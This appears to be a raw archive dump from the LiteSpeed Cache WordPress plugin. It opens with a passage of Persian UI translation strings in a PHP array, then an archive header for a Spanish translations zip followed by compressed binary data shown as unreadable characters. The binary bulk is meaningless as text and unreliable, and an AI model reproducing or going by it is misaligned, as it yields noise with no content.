نکنید','https://www.litespeedtech.com'=>'https://www.litespeedtech.com','LiteSpeed Technologies'=>'LiteSpeed Technologies','LiteSpeed Cache'=>'LiteSpeed Cache','Debug Level'=>'سطح اشکال زدایی (دیباگ)','Notice'=>'توضیحات','Term archive (include category, tag, and tax)'=>'آرشیو دوره (شامل دسته، برچسب و مالیات)','Daily archive'=>'بایگانی روزانه','Monthly archive'=>'بایگانی ماهانه','Yearly archive'=>'بایگانی سالانه','Post type archive'=>'بایگانی پست‌تایپ','Author archive'=>'بایگانی نویسنده','Home page'=>'صفحه نخست','Front page'=>'صفحه اصلی','All pages'=>'تمام صفحات','Select which pages will be automatically purged when posts are published/updated.'=>'وقتی صفحات منتشر شده/ بروز می شوند، انتخاب کنید کدام صفحات به صورت خودکار پاک شوند.','Auto Purge Rules For Publish/Update'=>'قوانین پاکسازی خودکار برای انتشار یا بروزرسانی','Default Public Cache TTL'=>'کش عمومی پیش‌فرض TTL','seconds'=>'ثانیه','Admin IPs'=>'IP‌های مدیریت','General'=>'عمومی','LiteSpeed Cache Settings'=>'تنظیمات کش لایت اسپید','Notified LiteSpeed Web Server to purge all LSCache entries.'=>'پاکسازی تمام ورودی‌های LSCache به LiteSpeed Web Server اعلام شد.','Purge All'=>'پاکسازی همه','Settings'=>'تنظیمات','Support forum'=>'انجمن پشتیبانی']];litespeed-wp-plugin/7.5.0.1/translations/es_ES.zip000064400000503673151031165260015531 0ustar00PK��+[GL(Z���litespeed-cache-es_ES.poUT	�!�h�!�hux�����\[o#7�~ϯ�Nv�kk,�:����I�؎��ॺ)�3�f��-G�)�6��"�}�y8@���W��&[[���XM��X,֝����2�Yh�
3�I9�i.��K]�~�T,Ne4V��/� Q�c�Vy!�J���'B����T�c�1���'|(n�:C���o����AYZ��ʊs9Q"ёJs%d���LFo�Hu>��#�'O� ���\_mߨ�α��3,<�������nWt���w��v������b���W���(K�E�㾞��Pi�};��P?ϲ�TDcisU|����Q{.1v��y�X��cq4��.�L�_;ɏE����ާ��Y*���~ʓ��R�����c�eb�k���^g���	/e:*��c�rޚ7**�/b��?�X�����o�<3Y�'�g�k���|�d��xw�f�mi!B����u���$�,�2�$���%ᙙ���F*��`(/�BL���7f���yz*=��0"7!]H;�����	�@	�T elD�DQ�"��'�G*Ea�t����@�1������3���z��\��{��NxC��^����>�)��ۯ�|}S�8ybЦT,A-'ig�
��CX	TOFw<YA��a
�tl�XGc��#h�3�ġ3U��y�1��r��(�D�mxC�0�H�ٌ�F�/M�uh��|4��g$	k��B���Y��ى�ܝV������W�0x�W5�+v�a�x��m�V���G��]��`Q
���S����X
�Q��u"��^�If�
�k�H���/tr,������Z����\���˼��M	m��FM�T��9��	T�%�Ҫ���Ks�i��$uB�C�1TIl���&�bbh��D�⣲�_s�9�GB�A��$�6¾�49+z{�+��@:6�Dİ#�D�'��e���w��=�zm}��^�iDN�Lt1sZ>5��7���,+q���X��|�VN��E���MT��W����B'�$Fȩ�	s�;ō+�`��$፦��
�T&մ$c���@;�('����> xA
�S�	xͰ�N�{~a��>莚�~�`v�("x\Ҏ*mB��ܑ5u�BxMond"�˦U��`� i8RMX���t�^z%K��^ka5�����<$&�M�I%x��S�5=���5��{�5�ק���H�*q�S��1A��h��PŠ&�JE2�5U�0�IYk�*T����__�b̔1q+U|��v�݉���ҁ�F�<�Il>K#�+�^-G�D�;'iT���IݒS^��8�Hd�&?UBS�u��)��2D�}�����ڝ�v��,�!S��|}&
1o�=�z��Z�@�kZ�Y���L��N�aN(�����S3�l��-H���8=��Z��t��p/��A�7�����nw7p�Z%q N}�K�D������72)�Z3���4�̲D�@}`
��C��$&D��xO���K)�?ed�f��[]@R�`�'氇�|GZ�8����"�1"3�25�
��ݘ��4l5�Ƥ@�5mGJj�i��?4|�v Y�g��������E��wQDW����/VC��!3�'W%�\)�DC�Ή?r@O���C9�r)�
�~A�m�KJ������NV��V���F׋
Һk�i�{;�#�0_^0�Q��mPv7�����p��g��a/����ц3{����;1q��f�A�v�B��P'E�~71W=��s���.2�VUtT���9�����z�n}��2NN	��S�F8(�V|�ו�����-bwe�e�l������R���P�-A�O�n'�X9�,�5�&�f&+�@	`��)�T
5Q�#�솱g���$���m=�􃣀�p1`[!�e�����DiEs Os �F�q�Ng��O)�gV�˫�s�@�<6�99��b���Q|\y���C�'JD��΂���Ԩ�����b�>�Sck���d�/�"L��;���&���&ZO(�[A��`�E�����y��1�6.�U*H�@’d�>�Fy8U3��7���%'�n��[�vp�A}���d�ǩ�oF�^#�ߎgBZ>����us ?����?�`8�\��.�"��FȽ���@u\�G����,'g"��[OPzI�
�S�k��znk=���P��t#�E�>!]D�窅Ҫ�y���'�Ed���0��@"/��
jN��tͼd#��U�g!�_��H�b���/�8G��N����@�Ӷ��"qۣ�w�@��A�y��ɦ��x.b+��dT4�а	?��q?����Wv�����C(�Ys�,�Nf�1yb$L��ؙ	&����H����Y(f�z� �T��
}'ݻ�x,�KX(	�Q�V	:3��XRUP��~����I�#�ι,�4��뜑(�T&*w�����aRɦД����)��$ s�NJhƧ�'�==D0a��
}_&f�����}{��-�aF���`���%�"�h��:'H�k��͖��E:Y��f�#4�<4|����ý���|&\rٌ�Z*n���	%��:Uot�;�=F|���^�x�U�����{���N����	92�ڪ*{Pp#����r�[5'g�����Уp�ڍJ�H����[��c�5�q<�^�86��;l�q}���g}B�+,�Gpٝ��Z��!�z��H�?����dtm���P4>|��:^Q.|�q^��E^��[A�-��3������q-?���v{���n�FDV��M8^�FX[ղ��0v��ۧݿ��i��+<���O<V?���ԣ���#�>�]�50�C-�-Ľ,�1e=:a�l�iE�}��y�Q��M��M��Sʡ]����Jo�Hf��r`�\	��I���u.e��s�M0��P!�9�iDIpDE<�S/��
���;��_ADü$�U�8�YIӄz����n
�U&$_��p�yaXƈP��t˜٩��B1Il'�cf�ɯ��ا
:�֚�
~wS�'#Y�"�&���qm8`��
.�U�qX]#=]%d�)]ݠ�!�,k�J1N��y;���U^��u
�P�B�9�Q���<�t@�Fa(�\U��R�C8��r��BjNOʢjW����q"i��7	*���8���G�4"q�L�P�&*��'q�*��J�^�U��y[�dM*+�5s�k��6��K�]��AkGW��l�S�O�b]VZ��M���E���W��u�R'���9e��zغƢ87U-X�ŷ԰q\�j���I�p�lW�q��IU�p���v��k��kY�򽌮�T�
Ge}T���Qc\\��*�/v8�����V�����61��:�=�[�����g��S��jR=gIbFwS���t�ךaX��cy
��-��M�%��?�CUi�dK	b��
��BS�~pC)Gq*�W�L��o�~T=��f��$T�D��X��Q�������Ua�"��� %�kr�F��/�����'l>��mw�jl�J�{������wǸV��VL$��Ó��tu$e�s�Q�6�r9D*���s�'@C�3��$ܰ�uE�sc��aMg\��N
�]��p6�-'�����_`���?e������\�������xqs�J\�~u~#�=�B�\_��8=�����?�C����>��������KX1�nN���H;i�}"6`��Y�����z�(hu�!�4���tJ
��Һ���-�F�aBਝ�su����>W9}I�pg����r��#i���>���7�8Г����+8H6۲6�[k��Vvx9�@B�q��(p�ڐ6S|A�/���f�X����ټw�t�w�`.���d	�"���i���L�
*�7�����}X�����i�y�Y�*�b�/��p)1]��T|1�voV�y��MfyQ瑱�٘�hy1#�ؔ	N2����N?@O��P-S�1io�`G�"Hl��W��b��0-�r��oG�چ^��z�ސ�x]��7�2�lZe~��a帻�xF'M��r�^�}C�ƭP����P˥��v�G%�o+�Yz��,�c�ڨ�+�2w.�����X�x���M���{.�e�Lu\;�a!����wZj��a��^_K�3.�>N�w���
�ͻ|�����&�Rߑ���Z��Z�8��f�/�R.ϔ̪�Qӛ��P�VNK�Ԥ��)s��<�	�r�U[\�S�E����,X��0h��۠��3�Ԣn)��; �1�T'a�F��Rc%p-͉�'�qa/@mK�_eE���ho��~c�^p�%��XP<{q�أ��q=�L8MY�y�X�Sע��9��]r�)��'�N�qe�^C?N[];�tC5�xUYY���t�4߇��(��8_˨f�(�I�*R��J9��ˉNٴq�5�k���|!��r'EH\u
R��] ���[�����ݓ���ю%u;/E�'�D/8�qt�%��I���[lA��B�/L�t1�CB���
52'_�l�`��͹�Q.j.�41���v*���[���„��7Λ�{;>7QW28B�+N8^��
m�M�fZ�?7�2��.�]k8w{˙%�$H(�4(5T��sN�_?;���o� Z�I> 2�(��7�|a�T;]��6�E�R��B�VAf���������vʌ�H"IU�&�E�0&�%����4V��Wf�I5���U'�~�!���ݫA��GN— �fHbF���N:5%UZo���5�c�-8.�k7�7پ��'��.
��N���� WÊ/˒�;���
|x@�MC�����fkU�ǝ�����H@���鍎���۪~�����c�u
!@OJ}�b3$G.���c��
9�Yx8�;#'�d�u5�B��Rpi�
i�O�n�����)��0��é�j�e+ߑ���;�P�a�^k�>9���x��F1V��kDf�r�Bc�Y�U}y/��#�v�tֵ��n�޿</�^�`2w��5���4-ʇ��%�4ɕ�4nF׍
<D.D�~�U�p%wi��K��{�G�"b�)��"��f�Sm^zV��v�ҳ�<x�U=\X<�Vg5���&hx�IՖ������k)�<x��^��y?dAX����ZU5��D�u��ܽ�]�dt(j���������n袭�7^d0�ȁ,c�v�^��«��$�Uv���?0����:�߱pC�sR����c�~�
��;%����)����3=�S�yw�����7�$�dZ<�p�z�O�R�����/�^8�\���YhqC51�ݖM�c�:�In��_�%}��W���+�yU�Ysd�^VO
I��3i�UPO!�K�|��}^\�u�Bo��/���!��{9jV�w��	���op?V�K�lZ���1�-�{pO.�ۃ����-����:�|���C��Y-u���f�E!�	`)ۀŽ��X�^}m��8)|E�?�p���L�;6m��H���.�p�HO!w4aH���QSeg.K�%eA/����86Y���|W:��mw�Y�'rf�ɕ7.��87E���[����!��]�O��H�o$#���ɷ\�'w�@�M�g�Ӝ��pHm.��r���N�m�߳�~��F	��MMM���z��]]�[������a��_{��^9S�R]a`ם�%�UlՃܛ�vϿ��4dP��^yˢ1	�$i�"��P~�l�sY�]�y�&a5��'+$�0��7��eR���c�@
W�\���r;��6�M���{�Mϕ��S�~Q��E�.sO��)��r���M\���[������5�]>�gU�n���'6B�J�=�!!�G7���T���9����޺R�)��r���M�`�[v޿p5���;I&2R)�XU
��v�o5={���UJ?�v�nBo�g����ۍ#ɲE�_�*,uKE1x�ЧLJ��\��Dff�B�3�Iz*�=�=��i��y�����Rh�C�^j=,��'��/sN3�f~
U���K��n7�˴9�í!
�Չ�u�ޞ+>�@��C�?S�6N��io,*�[5|f�dz����X���<����<�v��Ka6�?]���5M�k�S@ϑjo
�$!�B"��U�e��uGY{E2�|e������ �����q� Bۦ��}�5�>p��9X@d`��׿u���N��=�t���Sq^�a�+����ɑ��0�k�ƞf}2K�~S$/濮ҟ�J;I����$��2{oZ/��՗b��0T��,�X>�(|�`��s!��8L�����y��=F�N5��ih�A(p�p)�il�'5��/#�F�F���8o�J��ܿ����l�ۜ�	�h
R1��(��z�ʛ�\��$L�0�#��h��A1L��0����<Pga�i�����S���b9��
BD�
�w�iLÃX��X+D+W�=
�5W{��Q
tDFTVi9bL�[��qz����f`�!3�k��c)Tv�u/�>-�{�\�Ϥ-�]��g*��?E�/!TJ�tި�$�=G��U��`miFt������y�c,�짲J)g�u �g��r���܄q�5o�:�T��T.�w�b�N�0�H9��$(eć�(�
��&�o��J�;��?�Bo%.a܉`�o'����n��!���Ԑz;�oof����UlF�je���%���sT�ʔE���\-FG�,��p�s���60W�z����|̤3�3v���"x~�炸L���_?E	+#�~}){f��r^��������ė��Y=��t6���Yb�T���?��:�V��q��S3����"�:�z��h��k�+űC��4��C�Lj^K��H�01
��M3��4��-�˜���tW��}�w8�(�g^z��p��]��;�=��x�����9��f3�@��|�������-ߵ�Z��沸ub�Ml!��4�9��!�O�_t�K�c��jn>��i��0�W ��Gf䈸ϭ.��:߲�qʊ�Q�Y�֎+�:]���7�;�^�S�^o��x���#��si��Z�,�!�g����|��+�[/1i�P"军+���R!��sC3�xГ����oOc��-�.�_�6��лvp2�\k����_գlY�=Rʹ�Ώެ/f��ʞa��H�nd\G��=��-Il����5(�7�ʘ!�����T_լ�G�����t0ى��V��<�c�f$.�Ұ��^�pW��yE�$�]�K.�ut���2_���nz5]�J�!���[�Q�)�g��|��8���S��(���S��H��ޔ����6��5Jm�t�zLR��(䑆�Ղmh�-�N���k���q"��bN� f9�*:&ɤ��-
n0��6��K`��0�6�u���J��7�bDb{LceC�~O`v�K��i�����I�=���C+�7�M���vG�%KؔW�:�a���LxSn�:r��!�2`V��c�0R��BE�N��3�=��m�c;^�Ž�x�#Y�[=<�9	6��R�.X5��*��=-kDt�k�D`9��_�����:��DF�@��=�Q�����O	����2
�������uƧ\�h����6r�۲^���t�e�7�`]|�<Jd�3�l��_��O�z����Ɵ���L�U:�G>����_Й��v�DŽ]��oF+�6�h�����Hoꮜi7-���wy�\�QmIj��^����\����WE�W�V�%<.�����Kg�x�ɳ���|��!�d8��'Nf�8�_tOQ�
'Y�i{�V�!��:��!zT��SϹ�C7U~�XF�d��d�����i{���:�K��:�;	B���5�B��A,·F�T�z��^Gk�$�kd~rϟtO�����y���ѝ�L�-����e�o[�\5	�ӶXj���� �n��_�Z1��VȮ!?A�ĐN�j���(�w������mcv!Y�_�ڑr+�d��k�����>0�J
�#{WH�g	�H�m�QǞ� V�ذ�u�.�[�'�4-��MJ��1��B�3��V-��Z�ɼe�O�󺎇�T��`������R���6s2�;���I>Zw[�W����v1�lE}4|�u�/03
�G�V{�\l��w:��beV��s�'5z�喛�e�M�=��4�畉��}���Q��<~��s�1��2��2j��8�z�P�M�����}�llm����_�y���(��n������T~t��-��~��A쥺�(�adpu��� �ih�3�8u����*\Ev�A�p���uP5�Ob�9�p��΋�^� >��c'��^��l�+����.��&=��3���-�O)P��lu���LYf�)=�/��Ͽ��3�76�J��l�OӴ��zڠ�=�	n����<2,@�b�؜�=�ę��Cު�&��E~
E9��1W�n��M�~��)���7�?l6��Ʊ�Y&Ew�{Z��|N�|͂^>���7#��:����e�A�0G`t=�Ibb\��Xª�i~���p
�JN�1��+�Q�]�NP��|��T���||�㓆N
��&`>�Q�w-�E�4+���
��л&v��̔ri)��
����w�G�6Z�&ï�P�d�״Hk���Lί�x�	��y��|1�F��I:�~ѩ�s�=��V�)��ׄ$Q�Â,	�m`
_S��y�����O6��O�zM�1t��NM,{��s7��Q��h�j!��UO���C�5���)g�v5��z8nkRk��j#�\߾=%���4�W�X�b/RQ.��,��|��K��)ӥ)�c��q�}�S4����X�)uo%+���t��os�z#���2�ό�.�#3w<�4�qѮ�v������I;?R�trt�]=<x��8#02R�M�(m���3񻮫%�k̨s��"�a���UV����'wy�^�r.n��\\�,���#�e69���xH��ٸ�\�0}XGf���$`��k���)�yo�HK�?M��U�i�c׶�k����SQRu0��v�Kk7��mp�o'�22�9z�Xh��h�8�XՉR�K�t��B7jF��u��)���џ��!���1\o��W-�(0I�P2��,wB�!��^����s�XGWa����1n��nSN�w�<�q��=89�O��j�z�r�k��{~���{~G��G$��C��٧%�
y�ʗ�+g�3�l�uwM^[�s�,	^�[:S�[�Ң
u�X�ݍ�߈;B���v`�Z�g V旪P�g|C�v��b3O>fl�9�!�`��c͘��k����ҭ��4?n۶�v���[-?M�zҶ��ﴂ]���ù��ha#5�?���^[�`i+��9Qx�s�Z^�r��h�p��W:�AY@X+��"xj���>ȏ[�&=T��[�>2D=	��:�u�s6c�Qys@/2 ���:�r��I�
ĺhc���H2C�l�U9s�™n�8v�tF�{�L�i���gb񪭳��P�Ͷ�*��o��v��@FT����yv���Hl̡ɽ
A`�i0�͓�N%��+��Yz���۳��eNu����Gmr�~��e��f���t6�%!�S���+%�ت؛uw�v�t��.AS��C��XR,R�����C?���j1Wy�Z3>+,I��l�”���z�}����"�����E�5�5j��O��+W�V�K8�p�!���9�8���/ ���uSsNP���EȮ�"Y�����S����e��*R�8�V���MCڐ<�i*J�-���@a�ߝ������z�����7//]�� �5L f֤]�����a�9,'a\O�t9��m&�Pzq������cv���sJr�+�L�|�e���N�z�$�6ab��{�}���eK��U+��A����T�|c�"��_^�V$���K��S�Bɓ�Ҷj�i�j{����:�TY��
c{����d�2
�-ޤ���la���U��#�|��3rr��\1�Y+:}�7�L�UN�[�i_R���Ju�����P�T��]}��O)����A��A��n�)Z��W�K��Ҝq{����eg�������7�C�U�����M�p{<�m�9Z�Ɣ����WA9BCko\Wp�o���rv;;��o���9�d��"�]�Q��%��cNԑ�"��Tj~	þ�q�WK�W}����H�śu�i�U��cD 6�̍CТ�����M���s��Zϸ0M�^�D�&{*z�s�9��A��5ݻ��Hb5�wP^�
��0�%�b��"0g�
q����f�J�B����Y��6�f4���˒�c3jے�ݒ�JL �q�懋�w�^��'5��b�fUg�	ٜ�:*5H��]�f2�h��#�ZcL������Q9mA�Z`��w+����2-r��eW�i���N��6��ׂ���M��:�9�Ǝ�1h`�/��o��o$�:�kʙ���L�����/"�8�_$N�Y��vJ�=z�ޜ�����ވ�.lN��ᯕ`��I_v��0�m�����q���k�e�$o�>�6�Xifa�3�D�\)��7��E��W�"a&�Gz!G�֤�Db��$Ռ�U�����1��9�K0�C�iZ�2-�>�3�W�Q�8m�8�9����������J�x���X��f�,R�Cz�5߿N.2��k�j
�>1?u��)�6���'���?�T3��<+M��u�Sc?�WW�!��|W֤H��.H�=sl��%z�+�1z����K��IW����xC�����ƴ���f#���mT=��4v��ӤO -aoEf��5�!�
>=�iN�{s' g�$UUv-2�.��.1����g����ζ|쑳I��F��Z�L�[2[oS�l�V��Y�5gS��N�v��_�%e���X��-~�k���PvS7堑�F��m�����'�%>e�/|�����B��pn�N /�.L�x���'���[�M7C��ܫ�9��;���~j\��`Z#f�s���3X��4#��� {Z��	��4���	�E�g;�E����.G��5���T��W����W�{̒nɫ�}���a��mnd\�C�sF^�j��q�O�*��l"��cW�
tS��0�
�
��
�.yQ��1^�$sͼ���B�
�px3iL�U�s��Hec�>����&��/���t�u�}��S�5��:Msow��1DDžy�"O�7�|5���ڮ��;���у6��+�� �1�/9,s�Yߛ��K�h��d2Vkg���I�y����<JC��l�`��H["�ـ�'��Z%m���<�3�:��fA�9��������4_���e��_�9,��r��w�|��8��R.��
��sarO]&��s���V
��y����9.y�5]�����EYR.�ĩ�BfY�u�Te�R  �4�J3�fH�IF�&``�_�	B��M����q���PZ�[=,���
j��6+��R�����<
ě
Gwe���)]S�%�U:38쯫ar��I��T)L<3�_%�JS*P�/i�tw�w;Z�k�ex�V��ժK{]����r���˵���1��]b^~�/1��#��y��g����·�)���R8�Ķ���uc>��Br�$�B9���p�))'gfɕ#�CG�qK�A&��)����((+>�[�
oF����'|ug)/K�BF=�4��M��Y�@���-��qH����h�gfk(f��ʧ��'עME@/��+I�Q��J�P5�e�Xy��\3�"�@�TO,UC����xD0���Y�����e��  ��wm�8�'4q:`��*�;���V8���eVe$əS� %�z�e�(�i5E�g���N��?~/���1��j���d|#!�p6��zƽSӠ\�{�S�zR1�;3WɘX�T��F��YcV��Ʃg�
�]!9����WG��-��|�����u5Hވ*�c|Ik���[��WZ�������r�����X���.�Z!qS�G���p�GS�e�*w�ܠ�]������*[��éډ窃���z.�k7'h#?y���\?�@Q�_���2�c��Z��n0��חn%���(���D���i}S
���Uj�|2ߦ1{^��,��A
5O^竌2^�����P�Ud�J�X�@�D����B�i���f���J:��i�@�v�P �.ي�³����{	���6�R�<�k�r���Aj�z�XHM6����F�#!��S.oJ�p�������MI�p�;`9�>8Qڼ��l�^ȣ2�u谓��Rf,Ė��WԈ�|��0ׁc�@��.+��|��L�� �%]�߄�
bm���"5~�s��vB/6_$��ƀa�>1�o��,2���HQu`Jb�6Qj�)q����la�R�%�d�\��h�].�l�+ ���p��A�is���X�2�X��\�%��ATO�R"<���)i�2P��u��&�O��a�qf	�E�wZ3��K�'d�kv��;ݾ�Y�d�_rS��%�"ICV[��!Ca,p�s�g��{�~��f<�����QYm:��b�ag%?���܉�������
=�����o���9�2�MH�q��q�ڮ�9�1�+M�d�>��N{Z쬌�%n��jk��dz��ȝH�77��d+9��L�˒���!��{�U��G��6��|:j7�0�>��,�[֨O��" H�-�>��9^�\1k��^��B�l��~S��<N��� ��\r��s{a�
v+ѕ 45%H1�hHޮ��[��L�C)�(`-�x��F\�3�
5�ڕ�T�w���]ô�Y$e$~�9;��u�.z&���=2\�A(�9K�g%t�}��?èY�N2p�t,3Ә�ݔ=U�$��5�wK�R�h�Y�Z9#+[�B�i�Gҙ�	��e�F��rw;�A����F[����=D]��n�x�5;���g��ztU��=j�Cf)�"O.�)����G��z=gx�(��?h�x�ݔ%�y2��6+�W X����fF�ks%Y����D�Dh�{�M ��o�]���t<� ��2�&J櫖��&�����.n��Ǽ���m_qW)�q�U�@rd�W�}��kP^��_�BI��z�%Uq��B1Hs�	��.kGZ3j�T4�b�ΐ�@g07�:l@mv��+u�ج��>�cT�Uif���f�jhNZ[4��[��W�����Иv���]b8? g���t|#y���W��玨o���7T���E�Yrmy@i	-�O���ﵟ _��Դ����ueN�i�68=���O��'ۘ[�f�1?ӈ���g�'#��;��΍�#��JtX`��"��k��Y2���s�\j�����<�꜎�yy�7{�+�˩q6�K��#ʲɁ@�9z���Q\�����SP��Ǵ��@�3���J��ģ��܎
ƴm`�nK�Ae�U�ޙْ�kn�X�=1m禧��
�S^!љ\r�n� ���_��1�z�����!�iF��6�$w�8�4�f�b}�O��u<�]0��m�*���ڦ�6�!$�ԓ�&�I>��p��wC��\{#.�Vr��)��|cM�"�g��-���j@�	�PV$5�y�9��Nֽ���#��������5�-9����=��_{�w(.�V45��]
�p�����$�4=�&G��T�ujL����$p�5�3FE���sKI���mYR!���^����hU���ن�h�Q���T�,D0"� @��F��L�d���2cC�{�ś��Y�p�3��#���ԂZJ�+�Q�xp�W��KN�X�Yщ��j�E6Ǭ��S$��v�R��y�
�Z�K��&��&���UY_]f�q��i��ȮA�(�����f�d�*s�;�\xP[��W���l^�|�?6�Z�,�l]�����q�)܋ʜ1�Ew��_����"
��7h�R�KOm貿g��FA=�`!gx Ϟ�to^�[�6�|�I
a4Y`'�J!y�y�3cgt�������Ay�6�@�Ub#8Ljp�+�D[�Y%v+�9oJ��묦�~�� �uR��'�f�e��<}X�Y���m��;�$�B�+C#�:Q��p\n7ɳM\�ɞ6s��hH[��@s�B��"�x󟑯��(�=����^Sp�
Ds���_2��S~�v�"���;K
�=�8�D�#�I���� FX��.lQ�	����C=?��#9�LBMז�E��r�Q��������7����)��-bی�9�Ss�eS�5,����c�6<���Q�
��(`�\v��GlA	��t��B��{3K`�ʐ�D3*`^g�tMfh��-��{��c��w/���z�<P,V���a��5�{�$E�4�`�Q�rl	�g�ͻ�-@��Y�sJ	b�"�Wފ��E@�w�j�ͅ�i�I��d{zv���֮FƧ3~ЬI?X"$�B�;�;�{#g�w�=��\
z�VR�Uv��=F�l��!0=]�Jo�e*����
�#�7��b�p�_�i��ϻa8Nږ���������Fp*;�����ރ޳y�*I�.G��µ�{��(��Y�e6[{����s�Pj��߸ͯ�(��C����s\�	cF�ѧ,�yj�L='�U���eQ�^2�7c��H�A���$K��M��y������mz���Jآ{���٦��)Qr#�k2�9�>�l��Q�	��o���IIJ�;�ߨ4�Z�������p	�W_��j��3��2��k+�lظo�6��|�-H�	ug`�ۺ5����\~+m����j�j)|����vM�q��nW������sPN�^�
<WEI���� ��WR�x2�
`9��*"�
��&����na �y?��5��S��0�)�}�,}�g�t�iU
6a����s��)5��K�9���c>)�W�ؖ�]�+v�����W�{���a��ѥ����oH���Q�|��39e���[Ʀ�p|N`H��e�zN�y�cf�Z�J�<js�P�̊�Xƺ�VRj�L魄��}^k0�x��3u2EeJ�u9I��Up�g�v�pqY�"!�t��iǜ����By�%��{^g��4�]SVb�S�]�[�x��_۠�[�H��R�L-�m{�f�s��dJ[�?eѮ��҆��源W�>�y.B��\-���h�p�Wy���17�\�@�
��$3G��`�D�9F�SU�̂y��8��-�<�)l�;1�
�
%�SdY�]S� W���VRGd���0�ܗt�Rvt����lA[��Z��l-�獻�	��R�v��я~����/i���{����e��5���-��W� Q��$������&0+�[J�ܬ/'��KO�M	Y�f����n^��j7L3�����J�&�O�/���b~`>#�bY�@&��z��s���P�����|�8�@BZR�H(/a����N��Z�M���b�9���S�
<mz����-��k�7��PM�J�6K?՜E��ٰ��-�cɡzΎhV_������õ���+xs6+�
�d�<����W��E���^�q	�i��*
ۋ��.�EvS������|�@�3�
�]N��t�6�.�����ayE:�^��í�pK�y�5G��@�)�r�e3�L��if�61�&���=��3�g��Y���\w�Ahd�v��\Q:=�w���{K�|��>���#�.�v��=��ve{������Ʀ�B�t�>�r�1�t���=�2�ѫ5��;:�=���cz�é�K�=�v�K�����.͒E�#lt�G<�sN,��l��0А)D�m��_�('�
��W��Y�l�t6�D�!iZ�l����x�R���Q��[��L����p����-�-_�77%Z�䖆[�hf����C@D�0�����ʁ-�Z
`��aW�*����OԼfDp��f�ٛAi�k��Y��L8��ʊ���?؅/o���̫c��tdo<�|]�pfWe~
%���]Uf���*&�P|�l�I��m��d0����o�շ��Ev��M�ʉm>_5C;f����KyD�d�%m�f��|u �V+N��z�@�?�P�z;�zsv�T�������/���ٟI$��Vs(�XR��}�@�sn{�ɧ.p",v%�ɼI�>�mИh�}�f���e#���+���VL��h҃dH(�BGHg��)L�0k��PI9�΀����Ȳ֠p=۹�v��Z�-�Ҵq���8#`����>,��c�}^�� ��x+D���յ
�Ѷ��믷��<����Y�5+�$�x����ޘ��R��Eh0i`p��J���Fg��sJ�|��\�Z?�#��5�F�o���K�E��rS��ncኛ����}+�O^72������q���R�����n�1��|�ݭwÀ���-Xm�[6�%Oo֒�@L����2N0���pcR��t��Zm��(�2@�]��/���n'��̔S8s)���D�#����_��4~��3�5y�nI���ϙ݇�wᗚ}������}��\&�4A��dyj��)�,��=
����1�ō�cv��`���|�d[S���1J��k((8g|������P66Ђ��{�/(�s<Ú�l���Έp'�ucI�fF͌���mFI�@�SR|�5��z0Op�o��s��l����RDٟ\@��X���M�>�2��+�)u�;.�5sЗ�8B&�p$	&��h*����{�����#�H��
�So����ss]bl�VīּO�n%K6b	O3C�HM�Ys#��XG{���� ����K�� .�,k�}Rצ�?�rsA���̴͏�j|,Y�o��L9#��pf_.Z���=„�u�k���
9KhE�Jw"6��d|���m6_ڙ��B�O�t5��n��0d����Ջ���L�I�ț��k�5��t���Q�R�Eh�aI
Tf��ɟJ���9Y� \�Z�B^��A%=$�ٯ�q����nG��EDm,�eh�z�-�A��,��̯�a,I
ѹ�:���{n�>�h�#�%Kcv��>���(rΕ�ZkU
���0sE)#$DT��Q��e7��7ĝ �knpo}�<��r���ѣ|0��q�Z-�ـ��&'�Ro��K}^�k�50��e3����<��I�L�6�V�Bh�$[��(w)�J1'��H�N.y�Ψ�+pی,3�N��V�V^�ދafzI�F�K�7e���ץ��1a�T�ei5�Co8:Vؙ�;&����P�&�C�~rhVQ6]+6���$X��/d#U��2���Aw��U��	k^n�˘��LxhSA��̥$:�3�z�A��l��I���̆�H��Bn�9Œ	f6c2G09p�v����8��X�T�n%�f��t�����Ex�r\V�˯a
����������p��i{
���+/��屾�9�������� `�TnHM�u�*��hm�<[�3�Ɯ�KqI�K�:�D�S0V,�]��Y9INY��?�R�W^K�)�"(��
���^���m�&�xi�m��ʜ�Wkvo粊���rT���p��5'�b�Z�s��5��I��S��P�:XCS�;C�%@������nED<� ��j-�"��h��i.ik���R�U�!Y���A�:���cX�'mS�7��%�������7�Z_8�׬КQ����`�h�s��|��t�,;w�7q��`/+�& �K���t�?�����I��y3�n��f�NC��ʗE{�,�����xh���=�.Z�<�'���)��/w�<����}�pg��<���������Oz�5��O<�oD�S������Ɯ���z�F��-��Er����w���Dz�#?T��;�R��f,�ʝ��p���.�
���D�|H	ߝԦ_Y j�f1��0��}���l҅ԍ�"䜺�n�U咺��|hd�Z ��xM�,lF�Ql�Z�%:�� �	��_�u����
D������@p��'*��!A�1u�~���Z��y��#�(�UvmN�[��J�2�:��DRH����� ��ʢ��.��i!��,Bک���iv�a�}"(
/ƾ�W�>�b�9HQ!Q��	��νw^�.S�
�t�1�b�;q�N��1���鈇�d6�ku�Uԕ�K���/Hj|���z)��c
I���ف��ȯg!�0�؏�X�F��ݣ�s�9�VNCTD<���0�u>X��1T�]�Uy�ZΣFuݰ�BŸ�cH8&x���A}�Tؠ����`�0�
bhҬ�3f��`|L_��|ߧ5O�@��ROy&���0Q�l���(�lY����Kvo@�
>��q�A.<t�Ÿ:-0�N���Of��+����,� f�e>�#Ηn�Y�����ks��e�(��#���>#����kp])	f���|�vN[T^���sP���R�JZ'tS���v�(W�(��f�w�[���.��TG��?L�kj;6Xx	3k6#5cԗ��MI�T4qE�=���z���}�����ǁ2>�H̩�h�d��@�%��sJ������9ɀ�e������z��l̓�\�k��$r���C�$�x��-��Z�F�㖐Q?fW�ښ�+��ѿ��%pi�Gp��dv��y�:�QE��X;���G`:z7��N#Hu�Wi�q�b	l�5L���s:<&���[�'���:��	�"�����d�ݝޟ������e�Ov��
8���±wտ)� [��#�v4��8�^�P!�=L��@O�����hw=>�bM�O�a����<n������#�l髲���iK��:8��y��µM��7sQ�Q�H�$2"����$,u�Tq�C�zU��
O�f�4�˹b&"�
П{^������/ƨ!&�y��&-3b����_�w��^kX�&~K�ˬx6�n�Q�-�`#��+ө�d�.�wK9Y��i������0��ԩ&���~X�-G7nR����AзkEB;��?��Dz���
�5����v�m�%P3G�"5�wW��;
`�-�U��tw�'�|3/��x���=$��.Q�Z�|FLn�yWcX%N�D�߾�|�\{��|�sX
��40���t�$/���$%a��k�y���:��� �L[N�����ݞ�B'H��o
9_��K�@�C�Mݠ�=��4�~P_�n�W^�h�zc
?-��k��1��9H:��ي��<��!��J�c�08�~.
C�4��bM�Q�;[�ތI|��C�v� �J�a>�ZE�,E�ʎnM�'���`m4?%�,��i̻UN1
� ���u
